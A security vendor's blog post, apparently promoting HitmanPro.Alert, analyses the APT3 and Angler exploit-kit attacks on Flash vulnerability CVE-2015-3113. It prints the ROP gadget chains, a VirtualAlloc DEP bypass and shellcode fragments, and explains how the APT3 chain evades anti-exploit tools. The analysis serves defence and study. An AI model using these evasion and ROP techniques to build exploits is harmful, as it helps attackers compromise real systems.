How the Wolf attacked and outsmarted defenses with CVE-2015-3113

Malware-authors create millions of new unique malware samples every year to bypass web filters and antivirus software. But did you know that every exploit attack (to deliver malware) must use the exact same techniques to exploit software vulnerabilities? And that there are only a dozen offensive techniques to make this happen? Also, did you know that depending on the vulnerability, attackers are bound to chain 2 to 5 of these techniques to even get to the stage to deliver the malware?

As many of you know, our recently released HitmanPro.Alert 3 is purpose built to disrupt attackers during every stage of their attack – from exploitation to exfiltration. Instead of depending on prior knowledge of attacks (aka signatures), HitmanPro.Alert concentrates on the techniques required to exploit and compromise a computer from remote. If you are able to block attacks at the exploit stage, malware doesn’t even reach the machine in the first place.

Cyber Kill Chain
Figure: HitmanPro.Alert disrupts individual chains of the Cyber Kill Chain with multiple signature-less technologies

Exploit Techniques
Some of the offensive techniques that help and make exploitation possible are called Heap Spray, Stack Pivot, Return-Oriented Programming (ROP) and Vtable Hijacking. Many of these techniques are necessary and chained to evade defensive technologies like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) that protect modern operating systems. The ability to detect and block the offensive exploit techniques in real-time puts HitmanPro.Alert in an excellent position against zero-day attacks from both nation-state attackers as well as skilled cybercriminals.

But like with malware and depending on resources like skill, time and money, there are attackers that take the easy road and there are those that want or need to go the extra mile. The recent exploit attacks on CVE-2015-3113, a previously unknown vulnerability in Adobe Flash Player, is an excellent example.

Operation Clandestine Wolf
Discovered by FireEye and coined Operation Clandestine Wolf, this attack was crafted by a nation-state attacker they call APT3, apparently a China-based threat group. And with most discovered zero-day attacks, it didn’t take long before cybercriminals heard of it and included an attack for this vulnerability in their exploit kits, to increase the success rates of their attacks (it took them only four days as revealed by security researcher Kafeine from Malware Don’t Need Coffee).

Significant differences
But there are significant differences between the APT3 exploit attack and the code in exploit kits that abuse CVE-2015-3113. APT3’s code is not only meticulously crafted to bypass standard defense techniques, it is also designed to evade Anti-Exploit solutions. So even though Anti-Exploit vendors blogged about the vulnerability and mentioned that their “users were already protected against this threat”, this is in fact not the case for the original APT3 variant! And this is actually true for most exploits. When you have sufficient skills and resources, even old existing exploits can be re-weaponized to evade anti-exploit solutions. This means that even though when it sounds or looks  like other security solutions offer identical mitigations or layers, e.g. our Dynamic Heap Spray and Hardware-assisted Control-Flow Integrity mitigations (as well as our many Risk Reduction features) make a significant difference against well-funded attackers.

But let’s discuss and compare the versions crafted by the APT3 nation-state hackers and the attack inside the Angler exploit kit.

APT3
As mentioned by FireEye, the actual exploit was RC4 encrypted inside the hp.swf file, so we had to decrypt it to reveal the perpetrating code. From the decrypted code we can see that it includes a progress indication using GIF files, that help the exploit author debug his attack as it reveals at what stage the attack fails. When the attack succeeds, the exploit retrieves a file named logoshow.gif, using a hardcoded URL in de ActionScript code (an IoC or Indicator of Compromise):

flappyMan
Figure: Hardcoded link in APT3’s ActionScript code

Heap Spray
The APT3 attack employs a heap spray to facilitate arbitrary code execution. Although many Anti-Exploit solutions offer Anti-Heapspraying, few people know how most heapspray mitigations work. They simply pre-allocate memory areas often used by attackers so they cannot use these ranges to setup their heap spray. Naturally, APT3 stayed clear of these memory areas which explains why most Anti-Exploit solutions do not stop the attack with their heap spray mitigation.

Unlike these solutions, the Dynamic Heap Spray feature of HitmanPro.Alert 3 is an active mitigation. It is not so easily bypassed since our technology actually analyzes and compares the contents of the memory blocks allocated and sprayed by the exploit attack. HitmanPro.Alert 3 stops the exploit even before it gains control of code execution:

HitmanPro Alert intercepts HeapSpray  APT3 CVE-2015-3113
Figure: HitmanPro.Alert intercepted APT3’s Heap Spray technique

Arbitrary Code Execution
But it’s getting interesting when you look at how the nation-state attacker controls code execution without triggering Stack Pivot and typical ROP mitigations. In most recent Flash based exploits, the exploit hijacks the vtable of a built-in object of Adobe Flash Player, e.g. the Sound object, so that a ROP chain can be started for example via an invocation of Sound.toString().

This APT3 exploit uses a different technique to trigger its ROP chain. A custom class is defined in the ActionScript which has a method that takes a large number of parameters.

this.customClassInstance.theMethod(_loc32_, _loc32_, _loc32_, _loc32_,
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc24_, _loc33_, 
_loc19_, _loc34_, 65536, 4096, 64, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc19_ + 6,_loc19_ + 6,
_loc30_, _loc19_ + 6, _loc25_, _loc25_);

The method in the custom class enables the attacker to provide ROP gadgets as parameters to the function, which results in the ROP chain ending up on the current stack! This way, there is no need for the attacker to pivot the stack to a heap location that is outside the stack range of the current thread, which would be detected by most Anti-Exploit tooling.

By overwriting the function pointer so that it points to a gadget that moves the stack pointer to the beginning of the ROP chain, located on the stack, the attacker can trigger the start of the ROP chain.

6d4b33dd  83c448   add      esp,48h    ; move stack pointer to start of ROP chain
6d4b33e0  c3       ret

After  the ‘add esp,48h # RET’ gadget is executed, the stack (which is the ROP chain) looks like this:

02fae6ac  6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b
02fae6ec  6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b
02fae72c  6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68a 1f140100
02fae76c  6d4b6da1 1f140000 00010000 00001000 
          00000040 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6d4b6da7 6d4b6da7
02fae7ac  6cebaff0 6d4b6da7 6cec1b5f 6cec1b5f

There are a lot (46) of ‘dummy’ gadgets (6cebb68b) on the stack which only perform a RETurn.

6cebb68b  c3       ret

This makes sure that stack-analysis will show a call-stack that contains ‘valid’ return addresses up to a very deep call-depth.
The first non-dummy gadget (6cebb68a) pops the address 1f140100 into EAX.

6cebb68a  58       pop      eax
6cebb68b  c3       ret

The following gadget performs a memory allocation, which makes a specific memory range, starting at 1f140000 on the heap executable. This range is under control of the attacker and already contains the shellcode. However, due to DEP, it is not executable (yet).

0:005> !vprot 1f140000
BaseAddress:       1f140000
AllocationBase:    1f030000
AllocationProtect: 00000001  PAGE_NOACCESS
RegionSize:        00150000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE
6d4b6da1           call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40)
6d4b6da7           ret

After the call to VirtualAlloc the memory is executable.

0:005> !vprot 1f140000
BaseAddress:       1f140000
AllocationBase:    1f030000
AllocationProtect: 00000001  PAGE_NOACCESS
RegionSize:        00010000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              00020000  MEM_PRIVATE

This gadget, which is legitimate code located in the Flash DLL, performs a seemingly ‘valid’ call to VirtualAlloc in the way as described by Jared DeMott of Bromium, in the technical whitepaper ‘Bypassing EMET 4.1’.  An Anti-Exploit tool based on stack analysis will conclude that the call to VirtualAlloc was legitimate and will not detect a ROP attack in progress at this stage.

When the call to VirtualAlloc returns, the stack looks like this:

02fae780  6cebb68b 6cebb68b 6cebb68b 6cebb68b
          6cebb68b 6cebb68b 6cebb68b 6cebb68b
          6cebb68b 6d4b6da7 6d4b6da7 6cebaff0
          6d4b6da7 6cec1b5f 6cec1b5f 00001000

It contains 9 times the dummy gadget 6cebb68b, which only performs a ‘RET’. After that, it contains 2 times another dummy gadget (6d4b6da7). However, this gadget has the nice property that it is call-preceded.

6d4b6da1           call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40)
6d4b6da7           ret

This feature makes sure that anti-exploit tooling that perform stack-based analysis will see a ‘legitimate’ return address that was seemingly placed onto the stack due to a valid call instruction.

The following gadget (6cebaff0) pops the address of the call-preceded gadget (6d4b6da7) into ECX.

6cebaff0 59        pop     ecx
6cebaff1 c3        ret

And finally, the gadget at address 6d4b6da7 jumps to the shellcode with an indirect JMP instruction.

6cec1b5f ff20      jmp     dword ptr [eax]      ; EAX = 1f140000
0:005> dd eax
1f140000  1f140210 00000008 057c3000 057c0140
1f140010  1f13f000 00000000 1f711000 00000000

The shellcode starts at address 1f140210.

1f140210  nop
1f140211  nop
1f140212  nop
1f140213  nop
1f140214  nop
1f140215  nop
1f140216  nop
1f140217  mov     eax,1F140008h
1f14021c  nop
1f14021d  nop
1f14021e  nop
1f14021f  mov     ebx, offset IEShims!xxx_GetProcAddress (70ed9f14)
1f140224  mov     dword ptr [eax],ebx   ; Store address at 1f140008h
1f140226  nop
1f140227  nop
1f140228  push    0
1f14022a  push    74657874h    ;
1f14022f  push    6E6F4364h    ; 'SetThreadContext'
1f140234  push    61657268h    ;
1f140239  push    54746553h    ;
1f14023e  push    esp
1f14023f  push    (KERNEL32+0x0) (75e40000) ; BaseAddress kernel32.dll
1f140244  call    ebx          ; EBX holds address of GetProcAddress

The ActionScript has placed the base address of kernel32.dll and the address of GetProcAddress into the shellcode, so that it can call this function to obtain other system functions of kernel32 without triggering anti-exploit software. One can also see that the shellcode immediately resolves the address of the function ‘SetThreadContext’. This is a very interesting function that can modify the debug register, which can disable functions that depend on them, like Microsoft EMET’s EAF mitigation.

Summarizing the key features of the APT3 version of CVE-2015-3113:

  • The ROP chain never returns directly into a critical function
  • A Stack Pivot is NOT required to start the ROP chain
  • Uses dummy call-preceded RETurn address to trick stack-based heuristics
  • Shellcode uses ‘GetProcAddress’ to resolve system functions

Anti-Exploit solutions that analyze the stack (which is under the control of the attacker) are fooled by the tricks deployed by the APT3 exploit. However the hardware-assisted Control-Flow Integrity feature of HitmanPro.Alert 3 reveals the ROP attack and is immune to the stack manipulations performed by this exploit. The following figure shows how HitmanPro.Alert 3 detects and blocks the ROP attack using Intel® hardware-assistance.

Hardware-assisted Control-Flow Integrity stopping nation-state attack on CVE-2015-3113
Figure: Hardware-assisted Control-Flow Integrity reveals ROP attack on CVE-2015-3113 

Angler Exploit Kit
The version used by the Angler exploit kit is different. Of course it uses the same vulnerability in Adobe Flash Player (CVE-2015-3113) to corrupt a vector on the heap to bypass ASLR, but it uses a different set of exploit techniques compared to the APT3 version.

The exploit deployed by the Angler exploit kit uses so-called Vtable Hijacking to start its ROP chain. A fake object with a crafted vtable is created on the heap:

0857c000  0857c040 6cbf0736 cccccccc cccccccc
0857c010  cccccccc cccccccc cccccccc cccccccc
0857c020  cccccccc cccccccc cccccccc cccccccc
0857c030  cccccccc cccccccc cccccccc cccccccc
0857c040  6ca9f992 cccccccc 6cab4745 6cac4788
0857c050  6cc334a6 6d096dd9 08578000 00008000
0857c060  00001000 00000040 0857c06c 0005e860
0857c070  89610000 90c35dfc fce58955 00e8ec81

This fake object contains a pointer to its vtable at offset 0, so the vtable starts at 0857c040.
And from within the Flash ActionScript a method of this fake object is called. This executes the following code:

6cbf0736  8b01     mov     eax,dword ptr [ecx]
6cbf0738  51       push    ecx
6cbf0739  ff5008   call    dword ptr [eax+8]

At the time of the call, ECX contains the address of the object (0857c000) and EAX contains the start address of the vtable. The call [eax+8] is the actual call of the method in the vtable, which in this case is a call to [0857c040+8] -> 6cab4745

If we take a look at the instructions that are located at this address, we can see that these will perform a stack pivot.

6cab4745  94       xchg    eax,esp
6cab4746  c3       ret

This is detected and blocked by HitmanPro.Alert:

HitmanPro Alert blocks Stack Pivot Angler EK CVE-2015-3113
Figure: HitmanPro.Alert blocking Stack Pivot technique of Angler EK attack on CVE-2015-3113

But after the stack pivot, the actual ROP chain, beginning at location 0857c040, will start. The first gadget, located at 6ca9f992, will advance the stack pointer to the location behind the stack pivot gadget address.

6ca9f992  83c408     add     esp,8
6ca9f995  c3         ret

This adds 8 to skip past the stack pivot gadget which means that the stack pointer now points to 0857c04c, so the next gadget that will be executed is located at 6cac4788.

6cac4788  95         xchg    eax,ebp
6cac4789  c3         ret

EBP now points to a location that is on the current stack and lies before the current position in the ROP chain.
The next gadget in line starts at address 6cc334a6 which swaps the contents of EDI and EAX.

6cc334a6  97         xchg    edi,eax
6cc334a7  c3         ret

Now the following gadget that will execute is the one that will make the contained shellcode executable (DEP bypass). It starts at address 6d096dd9.

6d096dd9  // call Kernel32!VirtualAlloc(0x8578000, 0x8000, 0x1000, 0x40)

This gadget, which is legitimate code located in the Flash DLL, performs a seemingly valid call to VirtualAlloc in the way as described by Jared DeMott of Bromium, in the technical whitepaper Bypassing EMET 4.1. When the allocation returns, it falls directly into the shellcode at address 0857c06c.

0857c06c 60          pushad
0857c06d e805000000  call    0857c077
0857c072 61          popad
0857c073 89fc        mov     esp,edi
0857c075 5d          pop     ebp
0857c076 c3          ret

The shellcode is located on the heap directly after the ROP chain, starting at location 857c06c.

Summary
APT3’s attack on CVE-2015-3113 doesn’t perform a stack pivot as the gadgets are placed on the current stack. In addition, it never falls directly onto critical functions or shellcode and uses return addresses that seem legitimate to foil Anti-Exploit heuristics. Compared, the techniques that are used in the Angler exploit kit are rather straightforward and will be detected and blocked by most (commercial) Anti-Exploit tools.

While evaluating both attacks I can’t help but think that APT3’s zero-day attack on CVE-2015-3113 is proofing the same point that we tried to convey and demonstrated with our example attack on an artificial zero-day vulnerability in Firefox 29.0, for MRG Effitas’ Real World Exploit Prevention Test (March 2015). Some people said it was unfair and unrealistic that MRG Effitas included our special crafted version in their test, but it turns out we did not have to wait long before a skilled attacker proofed our point as well: with enough time, effort and money, a knowledgable attacker can bypass Anti-Exploit solutions. But with unique features like our Hardware-assisted Control-Flow Integrity, HitmanPro.Alert raises the bar to new heights by further increasing the attacker’s costs, in effect avoiding future system compromise and reducing business disruption.

Users running HitmanPro.Alert 3 are and were already protected against both the nation-state version as well as the exploit kit version of the attack on CVE-2015-3113.

Protect Yourselves
You can read more about our HitmanPro.Alert software on this page: http://www.hitmanpro.com/alert

Leaflet: HitmanPro-Alert-Brochure-2015.pdf

Download
To increase the security posture of your computers against exploits, digital espionage and crypto-ransomware, download HitmanPro.Alert version 3 from here: http://dl.surfright.nl/hmpalert3.exe (4 MB)

Comments are closed.

%d bloggers like this: